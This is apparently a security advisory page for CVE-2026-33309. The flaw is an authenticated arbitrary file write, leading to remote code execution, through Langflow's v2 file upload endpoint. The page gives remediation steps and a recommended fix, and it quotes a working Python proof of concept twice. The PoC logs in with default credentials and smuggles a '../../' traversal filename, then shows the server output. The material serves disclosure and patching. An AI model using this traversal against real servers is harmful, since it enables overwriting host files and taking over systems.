CVE-2026-33309: Langflow Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-g2j9-7rj2-gm6c
CVSS 9.9
CWE-284 CWE-94 CWE-73 CWE-22
Published
Advisory Summary

CVE-2026-33309 is a CRITICAL (CVSS 9.9) remote code execution vulnerability (CWE-284: Improper Access Control) affecting Langflow libraries in the PyPI ecosystem. The issue involves langflow has an arbitrary file write (rce) via v2 api. Remediation is available by upgrading affected packages to version 1.9.0.

CVE-2026-33309 at a Glance

CVE Identifier CVE-2026-33309
GHSA Identifier GHSA-g2j9-7rj2-gm6c
Severity CRITICAL
CVSS v3.1 Base Score 9.9
CWE Classification CWE-284: Improper Access Control
Affected Product Langflow
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-33309

To remediate this vulnerability, upgrade all affected Langflow dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

langflow fixed: 1.9.0
pip install langflow>=1.9.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show langflow

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-33309, inspect your installed packages using pip:

pip show langflow

Analyze the terminal output to locate any version of Langflow in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.9.0), your application is affected.

Note: The pip show langflow command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In Langflow, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary While reviewing the recent patch for **CVE-2025-68478** (External Control of File Name in v1.7.1), I discovered that the root architectural issue within `LocalStorageService` remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). ### Details The vulnerability exists in two layers: 1. **API Layer (`src/backend/base/langflow/api/v2/files.py:162`)**: Inside the `upload_user_file` route, the `filename` is extracted directly from the multipart `Content-Disposition` header (`new_filename = file.filename`). It is passed verbatim to the storage service. `ValidatedFileName` provides zero protection here as it only guards URL path parameters. 2. **Storage Layer (`src/backend/base/langflow/services/storage/local.py:114-116`)**: The `LocalStorageService` uses naive path concatenation (`file_path = folder_path / file_name`). It lacks a `resolve().is_relative_to(base_dir)` containment check. **Recommended Fix:** 1. Sanitize the multipart filename before processing: ```python from pathlib import Path as StdPath new_filename = StdPath(file.filename or "").name # Strips directory traversal characters if not new_filename or ".." in new_filename: raise HTTPException(status_code=400, detail="Invalid file name") ``` 2. Add a canonical path containment check inside `LocalStorageService.save_file` to permanently kill this vulnerability class. ### PoC This Python script verifies the vulnerability against `langflowai/langflow:latest` (v1.7.3) by writing a file outside the user's UUID storage directory. ```python import requests BASE_URL = "http://localhost:7860" # Authenticate to get a valid JWT token = requests.post(f"{BASE_URL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["access_token"] # Payload using directory traversal in the multipart filename TRAVERSAL_FILENAME = "../../traversal_proof.txt" SENTINEL_CONTENT = b"CVE_RESEARCH_SENTINEL_KEY" resp = requests.post( f"{BASE_URL}/api/v2/files/", headers={"Authorization": f"Bearer {token}"}, files={"file": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, "text/plain")}, ) print(f"Status: {resp.status_code}") # Returns 201 # The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt` ``` Server Logs: ``` 2026-02-19T10:04:54.031888Z [info ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb. 2026-02-19T10:05:51.792520Z [info ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb. ``` Docker cntainer file: ``` user@40416f6848f2:~/.cache/langflow$ ls 3668bcce-db6c-4f58-834c-f49ba0024fcb profile_pictures secret_key traversal_proof.txt ``` ### Impact Authenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite `.ssh/authorized_keys` to achieve full Remote Code Execution on the host server.

CVE-2026-33309 Affected Langflow Versions

1 component(s)
Fixed Versions:
1.9.0
Product / Package Ecosystem Affected Versions Fixed Version
langflow
PyPI
≥ 1.2.0
< 1.9.0
1.9.0

References

Frequently Asked Questions

What is CVE-2026-33309?
CVE-2026-33309 is a security vulnerability in Langflow involving Langflow has an Arbitrary File Write (RCE) via v2 API under CWE-284: Improper Access Control.
Which Langflow versions are affected?
Affected versions include releases prior to 1.9.0 across affected packages: langflow.
What version fixes CVE-2026-33309?
Upgrading to 1.9.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is langflow affected?
Yes, langflow is affected in releases prior to 1.9.0. Upgrade your dependency to 1.9.0 or later.
What is the CVSS score of CVE-2026-33309?
CVE-2026-33309 has a CVSS v3.1 base score of 9.9 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-33309?
CVE-2026-33309 is classified under CWE-284: Improper Access Control (The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.).
How can I check PyPI dependencies for CVE-2026-33309?
Run the dependency tree command: 'pip show langflow'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g2j9-7rj2-gm6c",
  "modified" : "2026-06-06T00:55:50Z",
  "published" : "2026-03-19T17:46:43Z",
  "aliases" : [ "CVE-2026-33309" ],
  "summary" : "Langflow has an Arbitrary File Write (RCE) via v2 API",
  "details" : "### Summary\n\nWhile reviewing the recent patch for **CVE-2025-68478** (External Control of File Name in v1.7.1), I discovered that the root architectural issue within `LocalStorageService` remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency.\n\nThis defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).\n\n### Details\nThe vulnerability exists in two layers:\n\n1. **API Layer (`src/backend/base/langflow/api/v2/files.py:162`)**: Inside the `upload_user_file` route, the `filename` is extracted directly from the multipart `Content-Disposition` header (`new_filename = file.filename`). It is passed verbatim to the storage service. `ValidatedFileName` provides zero protection here as it only guards URL path parameters.\n2. **Storage Layer (`src/backend/base/langflow/services/storage/local.py:114-116`)**: The `LocalStorageService` uses naive path concatenation (`file_path = folder_path / file_name`). It lacks a `resolve().is_relative_to(base_dir)` containment check.\n\n**Recommended Fix:**\n\n1. Sanitize the multipart filename before processing:\n\n```python\nfrom pathlib import Path as StdPath\nnew_filename = StdPath(file.filename or \"\").name # Strips directory traversal characters\nif not new_filename or \"..\" in new_filename:\n    raise HTTPException(status_code=400, detail=\"Invalid file name\")\n\n```\n\n2. Add a canonical path containment check inside `LocalStorageService.save_file` to permanently kill this vulnerability class.\n\n### PoC\nThis Python script verifies the vulnerability against `langflowai/langflow:latest` (v1.7.3) by writing a file outside the user's UUID storage directory.\n\n```python\nimport requests\n\nBASE_URL = \"http://localhost:7860\"\n# Authenticate to get a valid JWT\ntoken = requests.post(f\"{BASE_URL}/api/v1/login\", data={\"username\": \"admin\", \"password\": \"admin\"}).json()[\"access_token\"]\n\n# Payload using directory traversal in the multipart filename\nTRAVERSAL_FILENAME = \"../../traversal_proof.txt\"\nSENTINEL_CONTENT = b\"CVE_RESEARCH_SENTINEL_KEY\"\n\nresp = requests.post(\n    f\"{BASE_URL}/api/v2/files/\",\n    headers={\"Authorization\": f\"Bearer {token}\"},\n    files={\"file\": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, \"text/plain\")},\n)\n\nprint(f\"Status: {resp.status_code}\") # Returns 201\n# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`\n\n```\n\nServer Logs:\n```\n2026-02-19T10:04:54.031888Z [info     ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.\n2026-02-19T10:05:51.792520Z [info     ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.\n```\nDocker cntainer file:\n```\nuser@40416f6848f2:~/.cache/langflow$ ls\n3668bcce-db6c-4f58-834c-f49ba0024fcb  profile_pictures\tsecret_key  traversal_proof.txt\n```\n\n### Impact\nAuthenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite `.ssh/authorized_keys` to achieve full Remote Code Execution on the host server.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "langflow"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.2.0"
      }, {
        "fixed" : "1.9.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/langflow-ai/langflow/security/advisories/GHSA-g2j9-7rj2-gm6c"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33309"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/langflow-ai/langflow"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/langflow/PYSEC-2026-79.yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-284", "CWE-73", "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-19T17:46:43Z",
    "nvd_published_at" : "2026-03-24T13:16:02Z"
  }
}